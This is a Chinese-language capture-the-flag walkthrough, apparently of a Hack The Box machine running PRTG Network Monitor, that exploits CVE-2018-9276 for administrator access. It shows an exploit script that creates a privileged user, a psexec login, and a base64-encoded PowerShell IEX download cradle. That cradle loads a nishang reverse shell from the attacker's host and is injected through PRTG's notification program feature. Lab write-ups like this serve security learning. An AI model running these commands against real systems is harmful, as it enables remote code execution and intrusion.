文章目录

    • 信息收集
    • 解题
      • 创建用户exp
      • powershell脚本

信息收集

扫描结果还是很丰富的 nmap -sC -sV -p- -T4 ip

ftp服务直接允许匿名登录了,直接连接,翻目录,在 Users/Public/里就看到了 user flagget命令保存到本地查看,很简单

web页面是一个软件登录页面

解题

找到 C:\ProgramData\Paessler\PRTG Network Monitor目录下的bak文件,下载下来

发现账号密码

登录web,需要将 2018 改成 2019,进去之后并没有明显的 flag

查看软件版本漏洞,可以到找https://cve.mitre.org/cve/search_cve_list.html

一共25条记录,本次用到的是CVE-2018-9276,只有版本条件的话,很多CVE都可以测试

创建用户exp

exphttps://www.exploit-db.com/

这个exp是新建了一个高权限用户,首先登录网站将cookie复制下来,执行

./exp.sh -u http://10.10.10.152 -c "Cookie: _ga=GA1.4.1240577677.1679066684; _gid=GA1.4.1653577811.1680591211; OCTOPUS1813713946=e0JGODY3NjhFLTgwMzQtNEJCMy1CMjhCLTI5Q0Q1NUE3MzhFN30="

新建用户之后就可以连接了

impacket-psexec pentest:'P3nT3st!'@10.10.10.152

查看flag

powershell脚本

如果不添加新用户可以选择远程下载恶意powershell脚本执行,而且一个优点就是不需要上传可执行程序来加载payload,这里使用的是nishang框架

# 首先导入脚本Import-Module .\nishang.psm1# 查看都有哪些模块Get-Command -Module nishang

使用此脚本

由于自带脚本容易被识别为恶意脚本,所以还需要将其加载到内存执行,使用以下命令

echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.16.2/Invoke-PowerShellTcp.ps1')" | iconv -t UTF-16LE | base64 -w0

这段代码的解释

我们本地的恶意脚本如何编写呢?还是同样的道理,一个反弹shell的命令,添加到nishang自带的脚本中去

echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.2 -Port 4444' >>Invoke-PowerShellTcp.ps1

接下来就是让目标主机远程加载我们的脚本,本机开启http服务

python3 -m http.server 80

该软件的RCE漏洞在哪里?位置如下:Setup > Account Settings > Notifications.

别的都很正常,这里有一个功能,Execute Program,执行程序,可以看到它传进去几个参数,这里可以实现命令拼接执行,执行导出的base64编码的powershell脚本(此处我填写了用户名密码导致复现失败!)

成功获取shell

查看flag